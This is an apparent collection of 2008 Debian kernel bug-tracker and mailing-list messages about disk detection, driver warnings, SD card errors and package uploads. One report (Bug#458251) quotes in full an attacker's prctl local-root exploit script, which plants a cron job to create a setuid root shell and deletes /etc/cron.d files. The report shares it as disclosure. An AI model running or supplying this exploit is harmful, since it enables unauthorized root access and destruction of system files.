Your message dated Tue, 20 May 2008 16:41:23 +0200 with message-id [EMAIL PROTECTED] and subject line Re: Bug#476715: Rép. : Re: Bug#476715: Order detect of Disk scsi and HBA Fiber Channel (qla2xxx) has caused the Debian Bug report #476715, regarding Order detect of Disk scsi and HBA Fiber Channel (qla2xxx) to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 476715: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=476715 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.18-6-686Version: 2.6.18.dfsg.1-18etch1 Ibm server6 disk in raid51 HBA Fiber Channel (qla2xxx) On the boot of my linux image, 1 times on 3 it works. When it works My local disk is sda $ dmesg ...qla2xxx :04:04.0: Found an ISP2312, irq 201, iobase 0xf8842000 qla2xxx :04:04.0: Configuring PCI space... qla2xxx :04:04.0: Configure NVRAM parameters... qla2xxx :04:04.0: Verifying loaded RISC code... scsi1 : IBM PCI ServeRAID 7.12.05 Build 761 ICH5: IDE controller at PCI slot :00:1f.1 ACPI: Unable to derive IRQ for device :00:1f.1 ACPI: PCI Interrupt :00:1f.1[A]: no GSI ICH5: chipset revision 2 ICH5: not 100% native mode: will probe irqs later ide0: BM-DMA at 0x0480-0x0487, BIOS settings: hda:DMA, hdb:DMA Probing IDE interface ide0... Vendor: IBM Model: SERVERAID Rev: 1.00 Type: Direct-Access ANSI SCSI revision: 02 Vendor: IBM Model: SERVERAID Rev: 1.00 Type: Processor ANSI SCSI revision: 02 SCSI device sda: 213288960 512-byte hdwr sectors (109204 MB) sda: assuming Write Enabled sda: assuming drive cache: write through SCSI device sda: 213288960 512-byte hdwr sectors (109204 MB) sda: assuming Write Enabled sda: assuming drive cache: write through sda: sda1 sda2 sda3 sda4 sda5 sda65 Vendor: IBM Model: 40K sda76480a S320 0 Rev: 1 Type: Processor ANSI SCSI revision: 02 sda8 sd 1:0:0:0: Attached scsi disk sda qla2xxx :04:04.0: Allocated (412 KB) for firmware dump... qla2xxx :04:04.0: LIP reset occured (f7f7). qla2xxx :04:04.0: Waiting for LIP to complete... usb 3-2: new full speed USB device using uhci_hcd and address 2 usb 3-2: configuration #1 chosen from 1 choice usbcore: registered new driver hiddev input: IBM PPC I/F as /class/input/input1 input: USB HID v1.10 Keyboard [IBM PPC I/F] on usb-:00:1d.1-2 input: IBM PPC I/F as /class/input/input2 input: USB HID v1.10 Mouse [IBM PPC I/F] on usb-:00:1d.1-2 usbcore: registered new driver usbhid drivers/usb/input/hid-core.c: v2.6:USB HID core driver hda: HL-DT-STCD-RW/DVD DRIVE GCC-4244N, ATAPI CD/DVD-ROM drive ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 qla2xxx :04:04.0: LOOP UP detected (2 Gbps). qla2xxx :04:04.0: Topology - (F_Port), Host Loop address 0x scsi0 : qla2xxx qla2xxx :04:04.0: QLogic Fibre Channel HBA Driver: 8.01.07-k1 QLogic QLA2340 - 133MHz PCI-X to 2Gb FC, Single Channel ISP2312: PCI-X (133 MHz) @ :04:04.0 hdma-, host#=0, fw=3.03.20 IPX Vendor: IBM Model: 1722-600 Rev: 0520 Type: Direct-Access ANSI SCSI revision: 03 SCSI device sdb: 1428495360 512-byte hdwr sectors (731390 MB) sdb: Write Protect is off sdb: Mode Sense: 77 00 10 08 SCSI device sdb: drive cache: write back w/ FUA SCSI device sdb: 1428495360 512-byte hdwr sectors (731390 MB) sdb: Write Protect is off sdb: Mode Sense: 77 00 10 08 SCSI device sdb: drive cache: write back w/ FUA sdb:6hda: ATAPI 24X DVD-ROM CD-R/RW drive, 2048kB Cache, UDMA(33) Uniform CD-ROM driver Revision: 3.20 sdb1 sd 0:0:0:0: Attached scsi disk sdb Vendor: IBM Model: Universal Xport Rev: 0520 Type: Direct-Access ANSI SCSI revision: 03 Vendor: IBM Model: 1722-600 Rev: 0520 Type: Direct-Access ANSI SCSI revision: 03 SCSI device sdc: 1428495360 512-byte hdwr sectors (731390 MB) sdc: Write Protect is off sdc: Mode Sense: 77 00 10 08 SCSI device sdc: drive cache: write back w/ FUA SCSI device sdc: 1428495360 512-byte hdwr sectors (731390 MB) sdc: Write Protect is off sdc: Mode Sense: 77 00 10 08 SCSI device sdc: drive cache: write back w/ FUA sdc: sdc1 sd 0:0:1:0: Attached scsi disk sdc Vendor: IBM Model: Universal Xport Rev: 0520 Type: Direct-Access ANSI SCSI revision: 03 $ lsscsi[0:0:0:1]diskIBM 1722-600 0520 /dev/sdb [0:0:1:1]diskIBM 1722-600 0520
Bug#482058: linux-image-2.6.25-2-686: sd driver apparently needs updating
Package: linux-image-2.6.25-2-686 Version: 2.6.25-3 Severity: normal During boot, the following message seems to indicate something is out of date or misconfigured: [4.411987] Driver 'sd' needs updating - please use bus_type methods -- Package-specific info: ** Version: Linux version 2.6.25-2-686 (Debian 2.6.25-3) ([EMAIL PROTECTED]) (gcc version 4.1.3 20080420 (prerelease) (Debian 4.1.2-22)) #1 SMP Wed May 14 16:42:03 UTC 2008 ** Command line: root=/dev/sda2 ro ** Not tainted ** Kernel log: [ 10.680557] input: ThinkPad Extra Buttons as /class/input/input2 [ 11.397945] Yenta: CardBus bridge found at :15:00.0 [17aa:2012] [ 11.398117] Yenta: Using INTVAL to route CSC interrupts to PCI [ 11.398254] Yenta: Routing CardBus interrupts to PCI [ 11.398394] Yenta TI: socket :15:00.0, mfunc 0x01d01002, devctl 0x64 [ 11.482569] Linux agpgart interface v0.103 [ 11.628016] Yenta: ISA IRQ mask 0x0cf8, PCI irq 16 [ 11.628168] Socket status: 3007 [ 11.628303] pcmcia: parent PCI bridge I/O window: 0xa000 - 0xdfff [ 11.628440] cs: IO port probe 0xa000-0xdfff: clean. [ 11.630648] pcmcia: parent PCI bridge Memory window: 0xe430 - 0xe7ff [ 11.630787] pcmcia: parent PCI bridge Memory window: 0xe000 - 0xe3ff [ 11.681479] input: Power Button (FF) as /class/input/input3 [ 11.688090] ACPI: PCI Interrupt :00:1f.3[A] - GSI 23 (level, low) - IRQ 23 [ 11.719164] ACPI: Power Button (FF) [PWRF] [ 11.719413] input: Lid Switch as /class/input/input4 [ 11.735708] ACPI: Lid Switch [LID] [ 11.735938] input: Sleep Button (CM) as /class/input/input5 [ 11.790789] iTCO_wdt: Intel TCO WatchDog Timer Driver v1.02 (26-Jul-2007) [ 11.799176] ACPI: Sleep Button (CM) [SLPB] [ 11.846571] NET: Registered protocol family 23 [ 12.110182] ACPI: AC Adapter [AC] (off-line) [ 12.152328] ACPI: device:03 is registered as cooling_device2 [ 12.152821] input: Video Bus as /class/input/input6 [ 12.191679] Synaptics Touchpad, model: 1, fw: 6.2, id: 0x81a0b1, caps: 0xa04793/0x30 [ 12.191840] serio: Synaptics pass-through port at isa0060/serio1/input0 [ 12.211214] ACPI: Video Device [VID] (multi-head: yes rom: no post: no) [ 12.213746] ACPI: device:08 is registered as cooling_device3 [ 12.214220] input: Video Bus as /class/input/input7 [ 12.215309] ACPI: \_SB_.PCI0.IDE0.PRIM.MSTR: found ejectable bay [ 12.215319] ACPI: \_SB_.PCI0.IDE0.PRIM.MSTR: Adding notify handler [ 12.215367] ACPI: Bay [\_SB_.PCI0.IDE0.PRIM.MSTR] Added [ 12.248292] input: SynPS/2 Synaptics TouchPad as /class/input/input8 [ 12.263259] ACPI: Video Device [VID1] (multi-head: yes rom: no post: no) [ 12.273138] ACPI: Battery Slot [BAT0] (battery present) [ 12.315151] iTCO_wdt: Found a ICH7-M TCO device (Version=2, TCOBASE=0x1060) [ 12.315338] iTCO_wdt: initialized. heartbeat=30 sec (nowayout=0) [ 12.322898] nsc-ircc 00:0a: activated [ 12.323076] nsc-ircc, chip-init [ 12.323156] nsc-ircc, Found chip at base=0x164e [ 12.32] nsc-ircc, driver loaded (Dag Brattli) [ 12.323931] IrDA: Registered device irda0 [ 12.325822] nsc-ircc, Found dongle: No dongle connected [ 12.643193] intel_rng: FWH not detected [ 12.868386] cs: IO port probe 0x100-0x3af: clean. [ 12.870993] cs: IO port probe 0x3e0-0x4ff: excluding 0x4d0-0x4d7 [ 12.872401] cs: IO port probe 0x820-0x8ff: clean. [ 12.873484] cs: IO port probe 0xc00-0xcf7: clean. [ 12.874737] cs: IO port probe 0xa00-0xaff: clean. [ 12.928500] ACPI: PCI Interrupt :00:1b.0[B] - GSI 17 (level, low) - IRQ 17 [ 12.928778] hda_intel: probe_mask set to 0x1 for device 17aa:2010 [ 12.928935] PCI: Setting latency timer of device :00:1b.0 to 64 [ 14.439107] Adding 2096472k swap on /dev/sda3. Priority:-1 extents:1 across:2096472k [ 14.868439] EXT3 FS on sda2, internal journal [ 15.201008] loop: module loaded [ 15.328444] device-mapper: uevent: version 1.0.3 [ 15.329065] device-mapper: ioctl: 4.13.0-ioctl (2007-10-18) initialised: [EMAIL PROTECTED] [ 16.727379] NET: Registered protocol family 15 [ 17.243088] padlock: VIA PadLock Hash Engine not detected. [ 17.594118] padlock: VIA PadLock Hash Engine not detected. [ 17.583184] IBM TrackPoint firmware: 0x0e, buttons: 3/3 [ 17.814913] input: TPPS/2 IBM TrackPoint as /class/input/input9 [ 18.022384] padlock: VIA PadLock not detected. [ 22.405175] eth0: Link is Up 100 Mbps Full Duplex, Flow Control: None [ 22.405324] eth0: 10/100 speed: disabling TSO [ 25.509223] IA-32 Microcode Update Driver: v1.14a [EMAIL PROTECTED] [ 27.226502] NET: Registered protocol family 10 [ 27.227127] lo: Disabled Privacy Extensions [ 29.592625] lp: driver loaded but no devices found [ 29.697718] ppdev: user-space parallel port driver [ 34.896884] input: /usr/sbin/thinkpad-keys as /class/input/input10 [ 36.438959] warning: `avahi-daemon' uses 32-bit capabilities (legacy support in use) [ 36.947341] eth0: no IPv6 routers present [ 41.778580]
linux-image-2.6.25 in Lenny/testing
Hello, can you give an estimate when linux-image-2.6.25 will make it into Lenny/testing? thanks! -- Oliver König -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processing of linux-latest-2.6_14_powerpc.changes
linux-latest-2.6_14_powerpc.changes uploaded successfully to localhost along with the files: linux-latest-2.6_14.dsc linux-latest-2.6_14.tar.gz linux-image-powerpc_2.6.25+14_powerpc.deb linux-image-2.6-powerpc_2.6.25+14_powerpc.deb linux-headers-2.6-powerpc_2.6.25+14_powerpc.deb linux-image-powerpc-miboot_2.6.25+14_powerpc.deb linux-image-2.6-powerpc-miboot_2.6.25+14_powerpc.deb linux-headers-2.6-powerpc-miboot_2.6.25+14_powerpc.deb linux-image-powerpc-smp_2.6.25+14_powerpc.deb linux-image-2.6-powerpc-smp_2.6.25+14_powerpc.deb linux-headers-2.6-powerpc-smp_2.6.25+14_powerpc.deb linux-image-powerpc64_2.6.25+14_powerpc.deb linux-image-2.6-powerpc64_2.6.25+14_powerpc.deb linux-headers-2.6-powerpc64_2.6.25+14_powerpc.deb Greetings, Your Debian queue daemon -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: linux-image-2.6.25 in Lenny/testing
On Tue, May 20, 2008 at 04:50:44PM +0200, Oliver König wrote: can you give an estimate when linux-image-2.6.25 will make it into Lenny/testing? thanks! after debian installer Beta 2 release. when that will happen is hard to estimate! the images install just fine in Testing. -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
linux-latest-2.6_14_powerpc.changes ACCEPTED
Accepted: linux-headers-2.6-powerpc-miboot_2.6.25+14_powerpc.deb to pool/main/l/linux-latest-2.6/linux-headers-2.6-powerpc-miboot_2.6.25+14_powerpc.deb linux-headers-2.6-powerpc-smp_2.6.25+14_powerpc.deb to pool/main/l/linux-latest-2.6/linux-headers-2.6-powerpc-smp_2.6.25+14_powerpc.deb linux-headers-2.6-powerpc64_2.6.25+14_powerpc.deb to pool/main/l/linux-latest-2.6/linux-headers-2.6-powerpc64_2.6.25+14_powerpc.deb linux-headers-2.6-powerpc_2.6.25+14_powerpc.deb to pool/main/l/linux-latest-2.6/linux-headers-2.6-powerpc_2.6.25+14_powerpc.deb linux-image-2.6-powerpc-miboot_2.6.25+14_powerpc.deb to pool/main/l/linux-latest-2.6/linux-image-2.6-powerpc-miboot_2.6.25+14_powerpc.deb linux-image-2.6-powerpc-smp_2.6.25+14_powerpc.deb to pool/main/l/linux-latest-2.6/linux-image-2.6-powerpc-smp_2.6.25+14_powerpc.deb linux-image-2.6-powerpc64_2.6.25+14_powerpc.deb to pool/main/l/linux-latest-2.6/linux-image-2.6-powerpc64_2.6.25+14_powerpc.deb linux-image-2.6-powerpc_2.6.25+14_powerpc.deb to pool/main/l/linux-latest-2.6/linux-image-2.6-powerpc_2.6.25+14_powerpc.deb linux-image-powerpc-miboot_2.6.25+14_powerpc.deb to pool/main/l/linux-latest-2.6/linux-image-powerpc-miboot_2.6.25+14_powerpc.deb linux-image-powerpc-smp_2.6.25+14_powerpc.deb to pool/main/l/linux-latest-2.6/linux-image-powerpc-smp_2.6.25+14_powerpc.deb linux-image-powerpc64_2.6.25+14_powerpc.deb to pool/main/l/linux-latest-2.6/linux-image-powerpc64_2.6.25+14_powerpc.deb linux-image-powerpc_2.6.25+14_powerpc.deb to pool/main/l/linux-latest-2.6/linux-image-powerpc_2.6.25+14_powerpc.deb linux-latest-2.6_14.dsc to pool/main/l/linux-latest-2.6/linux-latest-2.6_14.dsc linux-latest-2.6_14.tar.gz to pool/main/l/linux-latest-2.6/linux-latest-2.6_14.tar.gz Override entries for your package: linux-headers-2.6-powerpc-miboot_2.6.25+14_powerpc.deb - optional devel linux-headers-2.6-powerpc-smp_2.6.25+14_powerpc.deb - optional devel linux-headers-2.6-powerpc64_2.6.25+14_powerpc.deb - optional devel linux-headers-2.6-powerpc_2.6.25+14_powerpc.deb - optional devel linux-image-2.6-powerpc-miboot_2.6.25+14_powerpc.deb - optional admin linux-image-2.6-powerpc-smp_2.6.25+14_powerpc.deb - optional admin linux-image-2.6-powerpc64_2.6.25+14_powerpc.deb - optional admin linux-image-2.6-powerpc_2.6.25+14_powerpc.deb - optional admin linux-image-powerpc-miboot_2.6.25+14_powerpc.deb - optional admin linux-image-powerpc-smp_2.6.25+14_powerpc.deb - optional admin linux-image-powerpc64_2.6.25+14_powerpc.deb - optional admin linux-image-powerpc_2.6.25+14_powerpc.deb - optional admin linux-latest-2.6_14.dsc - source admin Announcing to [EMAIL PROTECTED] Thank you for your contribution to Debian. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482058: linux-image-2.6.25-2-686: sd driver apparently needs updating
On Mon, May 19, 2008 at 10:44:01PM -0400, Jerry Quinn wrote: Package: linux-image-2.6.25-2-686 Version: 2.6.25-3 Severity: normal During boot, the following message seems to indicate something is out of date or misconfigured: [4.411987] Driver 'sd' needs updating - please use bus_type methods please explain the benefit of your bug report? what do you expect? that is an upstream bug and as such please file it in bugzilla.kernel.org or try to hack aboves. if you file upstream let us know the bug number otherwise this can be closed. regards -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482058: linux-image-2.6.25-2-686: sd driver apparently needs updating
maximilian attems wrote: On Mon, May 19, 2008 at 10:44:01PM -0400, Jerry Quinn wrote: During boot, the following message seems to indicate something is out of date or misconfigured: [4.411987] Driver 'sd' needs updating - please use bus_type methods please explain the benefit of your bug report? what do you expect? that is an upstream bug and as such please file it in bugzilla.kernel.org or try to hack aboves. if you file upstream let us know the bug number otherwise this can be closed. I was under the assumption that we should file bugs with the Debian package and then if it is upstream, it would be forwarded. I wasn't sure if this was debian-specific or not. If you think it's upstream, I can certainly go file it in the kernel.org bugzilla, though. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#362851: marked as done (linux-2.6: sis ide controller 5513 detects and uses wrong udma modes)
Your message dated Tue, 20 May 2008 18:05:57 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-2.6: sis ide controller 5513 detects and uses wrong udma modes has caused the Debian Bug report #362851, regarding linux-2.6: sis ide controller 5513 detects and uses wrong udma modes to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 362851: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=362851 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-2.6 Severity: normal Hi. I found that the SiS 5513 IDE controller misdetects bios DMA settings: SIS5513: IDE controller at PCI slot :00:02.5 SIS5513: chipset revision 0 SIS5513: not 100% native mode: will probe irqs later SIS5513: SiS 962/963 MuTIOL IDE UDMA133 controller ide0: BM-DMA at 0xff00-0xff07, BIOS settings: hda:DMA, hdb:DMA ide1: BM-DMA at 0xff08-0xff0f, BIOS settings: hdc:DMA, hdd:DMA (from dmesg) on both a ECS G733 and a Asus A6Km, that have just hda (disk drive) and hdc (cdrom drive), and no hdb/hdd. Also it misdetects the UDMA mode: dmesg reports hda: 117210240 sectors (60011 MB) w/8192KiB Cache, CHS=65535/16/63, UDMA(33) on both systems - that have two different disks-, but both disks are UDMA133 capable (tested with another mainboard with a VIA ide controller). I don't believe that both laptops have 40-pin ide cables hardwired or so, firstly because the asus is a brand-new laptop, and then also because both bioses shows that disks are actually ultra dma mode 5 capable. I think therefore that it may be a driver bug. I attach the output of dmesg and of lspci -v on the ECS G733. If you want I can send the same from the Asus A6Km. -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/dash Kernel: Linux 2.6.16-1-686 Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) :00:00.0 Host bridge: Silicon Integrated Systems [SiS] 651 Host (rev 02) Flags: bus master, medium devsel, latency 32 Memory at e000 (32-bit, non-prefetchable) [size=64M] Capabilities: [c0] AGP version 2.0 :00:01.0 PCI bridge: Silicon Integrated Systems [SiS] Virtual PCI-to-PCI bridge (AGP) (prog-if 00 [Normal decode]) Flags: bus master, fast devsel, latency 64 Bus: primary=00, secondary=01, subordinate=02, sec-latency=0 I/O behind bridge: a000-afff Memory behind bridge: dfd0-dfef Prefetchable memory behind bridge: cfa0-dfbf :00:02.0 ISA bridge: Silicon Integrated Systems [SiS] SiS962 [MuTIOL Media IO] (rev 14) Flags: bus master, medium devsel, latency 0 :00:02.3 FireWire (IEEE 1394): Silicon Integrated Systems [SiS] FireWire Controller (prog-if 10 [OHCI]) Subsystem: Elitegroup Computer Systems: Unknown device b733 Flags: bus master, medium devsel, latency 64, IRQ 185 Memory at dfffb000 (32-bit, non-prefetchable) [size=4K] Expansion ROM at dffc [disabled] [size=128K] Capabilities: [64] Power Management version 2 :00:02.5 IDE interface: Silicon Integrated Systems [SiS] 5513 [IDE] (prog-if 80 [Master]) Subsystem: Elitegroup Computer Systems: Unknown device b733 Flags: bus master, medium devsel, latency 128 I/O ports at ff00 [size=16] :00:02.6 Modem: Silicon Integrated Systems [SiS] AC'97 Modem Controller (rev a0) (prog-if 00 [Generic]) Subsystem: Elitegroup Computer Systems: Unknown device b733 Flags: bus master, medium devsel, latency 64, IRQ 177 I/O ports at d400 [size=256] I/O ports at d000 [size=128] Capabilities: [48] Power Management version 2 :00:02.7 Multimedia audio controller: Silicon Integrated Systems [SiS] Sound Controller (rev a0) Subsystem: Elitegroup Computer Systems: Unknown device b733 Flags: bus master, medium devsel, latency 64, IRQ 177 I/O ports at dc00 [size=256] I/O ports at d800 [size=128] Capabilities: [48] Power Management version 2 :00:03.0 USB Controller: Silicon Integrated Systems [SiS] USB 1.0 Controller (rev 0f) (prog-if 10 [OHCI]) Subsystem: Elitegroup Computer Systems: Unknown device b733 Flags: bus master, medium devsel, latency 64, IRQ 193 Memory at dfff7000 (32-bit, non-prefetchable) [size=4K] :00:03.1 USB Controller: Silicon Integrated Systems [SiS] USB 1.0 Controller (rev 0f) (prog-if 10 [OHCI]) Subsystem: Elitegroup Computer Systems: Unknown
Bug#482058: linux-image-2.6.25-2-686: sd driver apparently needs updating
On Tue, May 20, 2008 at 11:46:12AM -0400, Jerry Quinn (ibm) wrote: I was under the assumption that we should file bugs with the Debian package and then if it is upstream, it would be forwarded. I wasn't sure if this was debian-specific or not. If you think it's upstream, I can certainly go file it in the kernel.org bugzilla, though. yes please. we carry no scsi specific patches. this might explain it - http://wiki.debian.org/DebianKernelReportingBugs -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#458251: marked as done (prctl exploit works on kernel 2.6.18.5)
Your message dated Tue, 20 May 2008 18:14:30 +0200
with message-id [EMAIL PROTECTED]
and subject line Re: prctl exploit works on kernel 2.6.18.5
has caused the Debian Bug report #458251,
regarding prctl exploit works on kernel 2.6.18.5
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [EMAIL PROTECTED]
immediately.)
--
458251: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=458251
Debian Bug Tracking System
Contact [EMAIL PROTECTED] with problems
---BeginMessage---
Package: linux-image
Version: 2.6.18.5
Tags: security
Hello.
I'm running debian etch server. kernel 2.6.18.5, libc6_2.3.6.ds1-13etch2
updated by aptitude yesterday.
Today my server was attacked. Attacker logged in as non privileged
user test.(password was brutforced). He used prctl local root exploit
(code below).
And it works! file core was dumped at folder /etc/cron.d/
The only happiness is that cron did not run it. Error in syslog:
cron[2379]: Error: bad minute; while reading /etc/cron.d/core
I tried to find out this exploit at google and find that it was affected to
kernels 2.6.13-2.6.17.4. from kernel 2.6.17.4 it should be fixed. But looks
like not
Please let me know if you need resulted core file. I have isolated copy of
all files created by attacker.
Below is attacker script source:
#!/bin/sh
#
# PRCTL local root exp By: Sunix
# + effected systems 2.6.13= x =2.6.17.4 + 2.6.9-22.ELsmp
cat /tmp/getsuid.c __EOF__
#include stdio.h
#include sys/time.h
#include sys/resource.h
#include unistd.h
#include linux/prctl.h
#include stdlib.h
#include sys/types.h
#include signal.h
char
*payload=\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n*
* * * * root chown root.root /tmp/s ; chmod 4777 /tmp/s ;
rm -f /etc/cron.d/core\n;
int main() {
int child;
struct rlimit corelimit;
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, corelimit);
if ( !( child = fork() )) {
chdir(/etc/cron.d);
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
sleep(120);
}
__EOF__
cat /tmp/s.c __EOF__
#includestdio.h
main(void)
{
setgid(0);
setuid(0);
system(/bin/sh);
system(rm -rf /tmp/s);
system(rm -rf /etc/cron.d/*);
return 0;
}
__EOF__
echo wait aprox 4 min to get sh
cd /tmp
cc -o s s.c
cc -o getsuid getsuid.c
./getsuid
./s
rm -rf getsuid*
rm -rf s.c
rm -rf prctl.sh
--
Regards, Lex
---End Message---
---BeginMessage---
Version: 2.6.18.dfsg.1-17
no evidence was brought forward that etch kernel is vulnerable.
tests so that it isn't, thus closing.
--
maks
---End Message---
Bug#469717: marked as done (base: Can't read data from SD card)
Your message dated Tue, 20 May 2008 18:15:57 +0200 with message-id [EMAIL PROTECTED] and subject line Re: base: Can't read data from SD card has caused the Debian Bug report #469717, regarding base: Can't read data from SD card to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 469717: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=469717 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: base Severity: normal Hello guys, I've got quite a weird problem: For some time, I've been unable to correctly write data to my SD memory card. I always thought my card was defect, or the card reader. But I've tried another card reader and another OS with the same card reader, even another USB port, and everything worked fine except for working in Linux, so I assumed Debian Etch to be the problem. Now the problem is even worse since I can't even read data any more in Linux. Here the dmesg appearing after I put the card reader on: Code: FAT: Directory bread(block 3013591) failed attempt to access beyond end of device sdd: rw=0, want=3013656, limit=1960448 FAT: Directory bread(block 3013592) failed attempt to access beyond end of device sdd: rw=0, want=3013657, limit=1960448 FAT: Directory bread(block 3013593) failed attempt to access beyond end of device sdd: rw=0, want=3013658, limit=1960448 FAT: Directory bread(block 3013594) failed attempt to access beyond end of device sdd: rw=0, want=3013659, limit=1960448 FAT: Directory bread(block 3013595) failed attempt to access beyond end of device sdd: rw=0, want=3013660, limit=1960448 FAT: Directory bread(block 3013596) failed attempt to access beyond end of device sdd: rw=0, want=3013661, limit=1960448 FAT: Directory bread(block 3013597) failed attempt to access beyond end of device sdd: rw=0, want=3013662, limit=1960448 sdd: rw=0, want=3013681, limit=1960448 FAT: Directory bread(block 3091009) failed attempt to access beyond end of device sdd: rw=0, want=3091074, limit=1960448 FAT: Directory bread(block 3091010) failed attempt to access beyond end of device sdd: rw=0, want=3091075, limit=1960448 FAT: Directory bread(block 3389246) failed attempt to access beyond end of device sdd: rw=0, want=3389311, limit=1960448 FAT: Directory bread(block 3389247) failed attempt to access beyond end of device sdd: rw=0, want=3389312, limit=1960448 FAT: Directory bread(block 3389248) failed Thanks a lot! -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-6-k7 Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) ---End Message--- ---BeginMessage--- Version: 2.6.24-1 Kernel: Linux 2.6.18-6-k7 thanks to etch + half lenny has 2.6.24 with better sd card support closing as fixed upstream. -- maks ---End Message---
Bug#476633: BIOS Upgrade Solved Problem
I just upgraded the BIOS on the motherboard, ASUS P5NSLI-G, and it appears to have solved the problem. I have been running using the system for over 1 day with no problems. Thanks! Bill
Bug#470070: linux-image-2.6.24-1-amd64: Flaky file system problems in the last 3 days or so
On Sat, 08 Mar 2008, Tom Epperly wrote: I believe the only tainted module is nvidia. I realize that tainted is tainted, but in the past, some kernel people have been willing to work on issues that included a kernel tainted with just nvidia. just is a funny expression with module that is much bigger then the kernel itself. either you run a free os or you don't. can you reproduce without nvidia and with 2.6.25 from unstable? thanks -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#466905: marked as done (open-iscsi: Logging in causes seg fault in udevd and server crash)
Your message dated Tue, 20 May 2008 18:35:15 +0200 with message-id [EMAIL PROTECTED] and subject line Re: open-iscsi: Logging in causes seg fault in udevd and server crash has caused the Debian Bug report #466905, regarding open-iscsi: Logging in causes seg fault in udevd and server crash to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 466905: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=466905 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: open-iscsi Version: 2.0.730-1etch1 Severity: important I attempted to use open-iscsi to log in to an iSCSI target (a Dell MD3000i) attached to my system, and when I logged in the server became unresponsive from the network and console. When I rebooted and tried again from the console, I was able to see the symptoms of the crash before the system became unresponsive. This was the error (retyped from a camera-phone snapshot): [EMAIL PROTECTED]:~$ sudo iscsiadm --mode node --targetname iqn.1984-05.com.dell:powervault.6001e4f00019977847b6abe6 --portal 10.101.152.12:3260 --login scsi1 : iSCSI Initiator over TCP/IP Vendor: DELL Model: MD3000i Rev: 0670 Type: Direct-Access ANSI SCSI revision: udevd[3477] general protection rip:2b3df16cadca rsp:7fffb9689d08 error:0 udevd[1426] general protection rip:4044ccf rsp:7fffb9693cb0 error:0 Here are all the relevant log entries I could find from the session where this crash occurred. The interface with the iSCSI target connected to it was _not_ up when the session started, so I upped the interface and then attempted to login again. Feb 21 13:08:16 localhost kernel: Loading iSCSI transport class v1.1-646.5iscsi: registered transport (tcp) Feb 21 13:08:16 localhost kernel: iscsi: registered transport (iser) Feb 21 13:08:16 localhost iscsid: iSCSI logger with pid=2966 started! Feb 21 13:08:17 localhost iscsid: transport class version 1.1-646.iscsid version 2.0-730 Feb 21 13:08:17 localhost iscsid: an InitiatorAlias= is required, but was not found in /etc/initiatorname.iscsi Feb 21 13:08:17 localhost iscsid: iSCSI daemon with pid=2967 started! Feb 21 13:08:17 localhost iscsid: iSCSI sync pid=2968 started ... Feb 21 13:13:23 localhost iscsid: connect failed (101) ... then up the interface and try again: Feb 21 13:13:57 localhost kernel: bnx2: eth0: using MSI Feb 21 13:13:57 localhost kernel: ADDRCONF(NETDEV_UP): eth0: link is not ready Feb 21 